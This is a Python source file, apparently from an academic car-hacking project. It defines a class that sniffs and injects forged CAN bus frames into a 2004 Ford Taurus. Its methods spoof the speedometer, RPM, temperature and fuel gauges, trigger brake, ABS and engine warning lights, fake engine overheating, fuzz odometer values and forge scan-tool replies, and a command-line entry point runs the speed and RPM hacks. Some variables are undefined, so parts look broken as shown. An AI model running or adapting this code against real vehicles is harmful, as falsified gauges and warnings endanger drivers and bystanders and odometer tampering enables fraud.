4 import csv, time, argparse;
7 from random import randrange
8 from GoodFETMCPCAN import GoodFETMCPCAN;
9 from experiments import experiments
10 from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication
11 from intelhex import IntelHex;
16 class FordExperiments(experiments):
18 This class is a subclass of experiments and is a car specific module for
19 demonstrating and testing hacks.
21 def __init__(self, dataLocation = "../../contrib/ThayerData/"):
22 GoodFETMCPCANCommunication.__init__(self, dataLocation)
23 #super(FordExperiments,self).__init__(self) #initialize chip
26 def mimic1056(self,packetData,runTime):
29 self.spitSetup(self.freq)
30 #FIGURE out how to clear buffers
31 self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
32 packet1 = self.client.rxpacket();
34 packetParsed = self.client.packet2parsed(packet1);
35 #keep sniffing till we read a packet
36 while( packet1 == None or packetParsed.get('sID') != 1056 ):
37 packet1 = self.client.rxpacket()
39 packetParsed = self.client.packet2parsed(packet1)
40 recieveTime = time.time()
41 packetParsed = self.client.packet2parsed(packet1)
42 if( packetParsed['sID'] != 1056):
43 print "Sniffed wrong packet"
45 countInitial = ord(packetParsed['db3']) #initial count value
47 #set data packet to match what was sniffed or at least what was input
50 if(packetData.get(idx) == None):
51 packet.append(ord(packetParsed.get(idx)))
53 packet.append(packetData.get(idx))
55 #### split SID into different regs
56 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
57 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
58 packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
59 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
61 packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
63 self.client.txpacket(packet);
65 while( (time.time()-recieveTime) < runTime):
66 #care about db3 or packet[8] that we want to count at the rate that it is
67 dT = time.time()-tpast
69 db3 = (countInitial + math.floor((time.time()-recieveTime)/0.2))%255
71 self.client.txpacket(packet)
75 self.client.MCPrts(TXB0=True)
76 tpast = time.time() #update our transmit time on the one before
80 def cycledb1_1056(self,runTime):
84 #FIGURE out how to clear buffers
85 self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
86 packet1 = self.client.rxpacket();
88 packetParsed = self.client.packet2parsed(packet1);
89 #keep sniffing till we read a packet
90 while( packet1 == None or packetParsed.get('sID') != 1056 ):
92 packet1 = self.client.rxpacket()
94 packetParsed = self.client.packet2parsed(packet1)
95 recieveTime = time.time()
96 packetParsed = self.client.packet2parsed(packet1)
97 if( packetParsed['sID'] != 1056):
98 print "Sniffed wrong packet"
101 #set data packet to match what was sniffed or at least what was input
104 packet.append(ord(packetParsed.get(idx)))
106 packet[1] = packetValue;
109 #### split SID into different regs
110 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
111 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
112 packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
113 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
114 # lower nibble is DLC
115 packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
117 self.client.txpacket(packet);
119 while( (time.time()-recieveTime) < runTime):
120 #care about db3 or packet[8] that we want to count at the rate that it is
121 dT = time.time()-tpast
124 #temp = ((packetValue+1))%2
126 # pV = packetValue%255
132 self.client.txpacket(packet)
134 tpast = time.time() #update our transmit time on the one before
137 def getBackground(self,sId):
139 This method gets the background packets for the given id. This
140 is a simple "background" retriever in that it returns the packet
141 that is of the given id that was sniffed off the bus.
143 packet1 = self.client.rxpacket();
145 packetParsed = self.client.packet2parsed(packet1);
146 #keep sniffing till we read a packet
147 while( packet1 == None or packetParsed.get('sID') != sId ):
148 packet1 = self.client.rxpacket()
150 packetParsed = self.client.packet2parsed(packet1)
152 #recieveTime = time.time()
155 def cycle4packets1279(self):
156 self.client.serInit()
159 self.addFilter([1279, 1279, 1279, 1279, 1279, 1279], verbose = False)
160 packetParsed = self.getBackground(1279)
162 if (packetParsed[db0] == 16):
163 # if it's the first of the four packets, replace the value in db7 with 83
164 packetParsed[db7] = 83
165 # transmit new packet
166 self.client.txpacket(packetParsed)
168 # otherwise, leave it alone
169 # transmit same pakcet we read in
170 self.client.txpacket(packetParsed)
171 # print the packet we are transmitting
174 def oscillateMPH(self,time):
175 self.client.serInit()
177 #FIGURE out how to clear buffers
178 self.addFilter([513, 513, 513, 513,513, 513], verbose=False)
179 packetParsed = self.getBackground(513)
181 #set data packet to match what was sniffed or at least what was input
184 packet.append(ord(packetParsed.get(idx)))
186 packet[1] = packetValue;
189 #### split SID into different regs
190 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
191 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
192 packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
193 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
194 # lower nibble is DLC
195 packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
197 self.client.txpacket(packet);
198 startTime = tT.time()
199 while( (tT.time()-startTime) < runTime):
200 dt = tT.time()-startTime
201 inputValue = ((2.0*math.pi)/20.0)*dt
202 value = 112*math.sin(inputValue)+141
207 self.client.txpacket(packet)
209 def oscillateTemperature(self,time):
215 self.client.serInit()
217 #FIGURE out how to clear buffers
218 self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
219 packetParsed = self.getBackground(1056)
221 #set data packet to match what was sniffed or at least what was input
224 packet.append(ord(packetParsed.get(idx)))
226 packet[1] = packetValue;
229 #### split SID into different regs
230 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
231 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
232 packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
233 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
234 # lower nibble is DLC
235 packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
237 self.client.txpacket(packet);
238 startTime = tT.time()
239 while( (tT.time()-startTime) < runTime):
240 dt = tT.time()-startTime
241 inputValue = ((2.0*math.pi)/20.0)*dt
242 value = 30*math.sin(inputValue)+130
244 #packet[5] = int(value)
251 self.client.txpacket(packet)
253 #tpast = time.time() #update our transmit time on the one before
258 #reset eveything on the chip
259 self.client.serInit()
261 duration = 20; #seconds
264 listenPacket = [2, 9, 6, 153, 153, 153, 153, 153]
266 #actual response by the car
267 #r1 = [34, 88, 0, 0, 0, 0, 0, 0]
268 #r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
269 #r3 = [16, 19, 73, 4, 1, 70, 65, 66]
271 r1 = [34, 88, 0, 0, 0, 0, 0, 0]
272 r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
273 r3 = [16, 19, 73, 160, 159, 70, 65, 66]
276 SIDlow = (responseID & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
277 SIDhigh = (responseID >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
278 packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
279 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
280 # lower nibble is DLC
281 r1[0],r1[1],r1[2],r1[3],r1[4],r1[5],r1[6],r1[7]]
282 packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
283 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
284 # lower nibble is DLC
285 r2[0],r2[1],r2[2],r2[3],r2[4],r2[5],r2[6],r2[7]]
286 packet3 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
287 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
288 # lower nibble is DLC
289 r3[0],r3[1],r3[2],r3[3],r3[4],r3[5],r3[6],r3[7]]
291 self.multiPacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
293 #filter for the correct packet
294 self.filterForPacket(listenID, listenPacket[0],listenPacket[1], verbose = True)
295 self.client.rxpacket()
296 self.client.rxpacket() # flush buffers if there is anything
297 startTime = tT.time()
298 while( (tT.time() -startTime) < duration):
299 packet = self.client.rxpacket()
301 sid = ord(packet[0])<<3 | ord(packet[1])>>5
302 if( sid == listenID):
303 byte3 = ord(packet[6])
304 if( byte3 == listenPacket[3]):
305 print "SendingPackets!"
307 self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True)
309 def setScanToolTemp(self,temp):
310 self.client.serInit()
313 self.addFilter([2024, 2024, 2024])
314 self.client.rxpacket()
315 self.client.rxpacket()
316 self.client.rxpacket()
317 SIDlow = (2024 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
318 SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
320 startTime = time.time()
321 #while((time.time() - startTime) < 10):
325 # catch a packet and check its db4 value
326 while (packet == None):
327 packet=self.client.rxpacket();
330 newTemp = math.ceil(level/1.8 + 22)
331 #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
334 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
335 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
336 # lower nibble is DLC
337 ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
339 # load new packet into TXB0 and check time
340 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
341 starttime = time.time()
343 # spit new value for 1 second
344 while (time.time()-starttime < 10):
345 self.multiPacketSpit(packet0rts=True)
347 def overHeatEngine(self):
348 self.client.serInit()
351 self.addFilter([1056, 1056, 1056])
352 packet = self.getBackground(1056)
353 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
354 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
356 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
357 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
358 # lower nibble is DLC
359 255,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
360 startTime = time.time()
361 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
362 while( time.time()- startTime < 10):
363 self.multiPacketSpit(packet0rts=True)
365 def runOdometer(self):
366 self.client.serInit()
369 self.addFilter([1056, 1056, 1056])
370 packet = self.getBackground(1056)
371 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
372 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
373 odomFuzz = random.randint(0,255)
374 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
375 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
376 # lower nibble is DLC
377 ord(packet[5]),odomFuzz,ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
378 startTime = time.time()
380 while( time.time()- startTime < 10):
381 odomFuzz = random.randint(0,255)
382 newPacket[5] = odomFuzz
383 self.client.txpacket(newPacket)
385 def setDashboardTemp(self, temp):
386 self.client.serInit()
389 self.addFilter([1056, 1056, 1056])
390 self.client.rxpacket()
391 self.client.rxpacket()
392 self.client.rxpacket()
393 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
394 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
396 startTime = time.time()
397 #while((time.time() - startTime) < 10):
401 # catch a packet and check its db4 value
402 while (packet == None):
403 packet=self.client.rxpacket();
406 newTemp = math.ceil(level/1.8 + 22)
407 #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
410 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
411 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
412 # lower nibble is DLC
413 newTemp,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
415 # load new packet into TXB0 and check time
416 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
417 starttime = time.time()
419 # spit new value for 1 second
420 while (time.time()-starttime < 10):
421 self.multiPacketSpit(packet0rts=True)
424 def warningLightsOn(self,checkEngine, checkTransmission, transmissionOverheated, engineLight, battery, fuelCap, checkBreakSystem,ABSLight):
425 self.addFilter([1056, 1056, 530, 530, 1056])
426 if( checkBreakSystem == 1 or ABSLight == 1):
427 SIDlow = (530 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
428 SIDhigh = (530 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
429 packet = self.getBackground(530)
430 packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
431 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
432 # lower nibble is DLC
433 ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
434 if( checkBreakSystem == 1 and ABSLight == 1):
436 elif( checkBreakSystem == 0 and ABSLight == 1):
438 elif(checkBreakSystem==1 and ABSLight == 0):
445 SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
446 SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
447 packet = self.getBackground(1056)
448 packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
449 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
450 # lower nibble is DLC
451 ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
452 if( checkEngine == 1):
455 if( checkTransmission == 1):
458 if( transmissionOverheated == 1):
461 if( engineLight == 1):
469 # load new packet into TXB0 and check time
470 self.multiPacketSpit(packet0=packet1,packet1=packet2, packet0rts=True,packet1rts=packet2rts )
471 starttime = time.time()
473 # spit new value for 1 second
474 while (time.time()-starttime < 10):
475 self.multiPacketSpit(packet0rts=True,packet1rts = packet2rts)
477 def fakeScanToolFuelLevel(self,level):
478 self.client.serInit()
481 self.addFilter([2024, 2024, 2024])
482 self.client.rxpacket()
483 self.client.rxpacket()
484 self.client.rxpacket()
485 SIDlow = (2024 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
486 SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
488 startTime = time.time()
489 #while((time.time() - startTime) < 10):
493 # catch a packet and check its db4 value
494 while (packet == None):
495 packet=self.client.rxpacket();
497 level = int(level/.4)
498 #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
501 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
502 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
503 # lower nibble is DLC
504 ord(packet[5]),ord(packet[6]),ord(packet[7]),level,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
506 # load new packet into TXB0 and check time
507 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
508 starttime = time.time()
510 # spit new value for 1 second
511 while (time.time()-starttime < 10):
512 self.multiPacketSpit(packet0rts=True)
514 def fakeOutsideTemp(self,level):
515 self.client.serInit()
518 self.addFilter([2024, 2024, 2024])
519 self.client.rxpacket()
520 self.client.rxpacket()
521 self.client.rxpacket()
522 SIDlow = (2024 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
523 SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
525 startTime = time.time()
526 #while((time.time() - startTime) < 10):
530 # catch a packet and check its db4 value
531 while (packet == None):
532 packet=self.client.rxpacket();
534 newTemp = math.ceil(level/1.8 + 22)
535 #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
538 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
539 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
540 # lower nibble is DLC
541 ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
543 # load new packet into TXB0 and check time
544 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
545 starttime = time.time()
547 # spit new value for 1 second
548 while (time.time()-starttime < 10):
549 self.multiPacketSpit(packet0rts=True)
552 def fakeAbsTps(self,level):
553 self.client.serInit()
556 self.addFilter([2024, 2024, 2024])
557 self.client.rxpacket()
558 self.client.rxpacket()
559 self.client.rxpacket()
560 SIDlow = (2024 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
561 SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
563 startTime = time.time()
564 #while((time.time() - startTime) < 10):
568 # catch a packet and check its db4 value
569 while (packet == None):
570 packet=self.client.rxpacket();
572 abstps = int(math.ceil(level/.39))
576 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
577 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
578 # lower nibble is DLC
579 ord(packet[5]),ord(packet[6]),ord(packet[7]),abstps,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
581 # load new packet into TXB0 and check time
582 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
583 starttime = time.time()
585 # spit new value for 1 second
586 while (time.time()-starttime < 10):
587 self.multiPacketSpit(packet0rts=True)
591 def mphToByteValue(self, mph):
592 return ( mph + 63.5 ) / 1.617
594 def ByteValuToMph(self, value):
595 return 1.617*ord(packet[9]) - 63.5
597 def setMPH(self, mph):
598 self.client.serInit()
601 self.addFilter([513, 513, 513])
602 self.client.rxpacket()
603 self.client.rxpacket()
604 self.client.rxpacket()
605 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
606 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
608 startTime = time.time()
609 #while((time.time() - startTime) < 10):
613 # catch a packet and check its db4 value
614 while (packet == None):
615 packet=self.client.rxpacket();
617 #print self.client.packet2str(packet)
619 #print "DB4 = %02d " %ord(packet[9])
621 #print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
623 # calculate our new mph and db4 value
625 newSpeed = self.mphToByteValue(mph)
626 #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
629 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
630 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
631 # lower nibble is DLC
632 ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
634 # load new packet into TXB0 and check time
635 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
636 starttime = time.time()
638 # spit new value for 1 second
639 while (time.time()-starttime < 10):
640 self.multiPacketSpit(packet0rts=True)
643 def speedometerHack(self, inputs):
645 self.client.serInit()
648 self.addFilter([513, 513, 513])
650 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
651 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
657 # catch a packet and check its db4 value
658 while (packet == None):
659 packet=self.client.rxpacket();
661 print self.client.packet2str(packet)
663 print "DB4 = %02d " %ord(packet[9])
664 mph = 1.617*ord(packet[9]) - 63.5
665 print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
667 # calculate our new mph and db4 value
668 mph = mph + inputs[0];
669 newSpeed = ( mph + 63.5 ) / 1.617
670 print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
673 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
674 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
675 # lower nibble is DLC
676 ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
678 # load new packet into TXB0 and check time
679 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
680 starttime = time.time()
682 # spit new value for 1 second
683 while (time.time()-starttime < 1):
684 self.multiPacketSpit(packet0rts=True)
686 def rpmToByteValue(self, rpm):
687 value = ( rpm + 61.88 ) / 64.5
690 def ValueTorpm(self, value):
691 rpm = 64.5*value - 61.88
694 def setRPM(self, rpm):
695 self.client.serInit()
698 self.addFilter([513, 513, 513,513])
700 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
701 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
704 self.client.rxpacket()
705 self.client.rxpacket()
706 self.client.rxpacket()
708 startTime = tT.time()
709 while((tT.time() - startTime )< 10):
713 # catch a packet and check its db4 value
714 while (packet == None):
715 packet=self.client.rxpacket();
717 #print self.client.packet2str(packet)
719 #print "DB4 = %02d " %ord(packet[5])
721 #print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
723 newRPM = self.rpmToByteValue(rpm)
724 #print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
727 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
728 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
729 # lower nibble is DLC
730 int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
732 # load new packet into TXB0 and check time
733 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
734 starttime = time.time()
736 # spit new value for 1 second
737 while (time.time()-starttime < 1):
738 self.multiPacketSpit(packet0rts=True)
740 def rpmHack(self, inputs):
742 This method will increase the rpm by the given rpm amount.
745 @param inputs: Single element of a list that corresponds to the amount the user
749 self.client.serInit()
752 self.addFilter([513, 513, 513])
754 SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
755 SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
756 startTime = tT.time()
757 while((tT.time() - startTime )< 10):
761 # catch a packet and check its db4 value
762 while (packet == None):
763 packet=self.client.rxpacket();
765 print self.client.packet2str(packet)
767 print "DB4 = %02d " %ord(packet[5])
768 rpm = 64.5*ord(packet[5]) - 61.88
769 print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
771 # calculate our new mph and db4 value
772 rpm = rpm + inputs[0];
773 newRPM = ( rpm + 61.88 ) / 64.5
775 print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
778 newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
779 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
780 # lower nibble is DLC
781 int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
783 # load new packet into TXB0 and check time
784 self.multiPacketSpit(packet0=newPacket, packet0rts=True)
785 starttime = time.time()
787 # spit new value for 1 second
788 while (time.time()-starttime < 1):
789 self.multiPacketSpit(packet0rts=True)
794 if __name__ == "__main__":
796 parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\
798 Run Hacks on a Ford taurus 2004:
804 parser.add_argument('verb', choices=['speedometerHack', 'rpmHack']);
805 parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None);
808 args = parser.parse_args();
809 inputs = args.variable
810 fe = FordExperiments("../../contrib/ThayerData/");
812 if( args.verb == 'speedometerHack'):
813 fe.speedometerHack(inputs=inputs)
814 if( args.verb == 'rpmHack'):
815 fe.rpmHack(inputs=inputs)
816 elif( args.verb == 'fakeVIN'):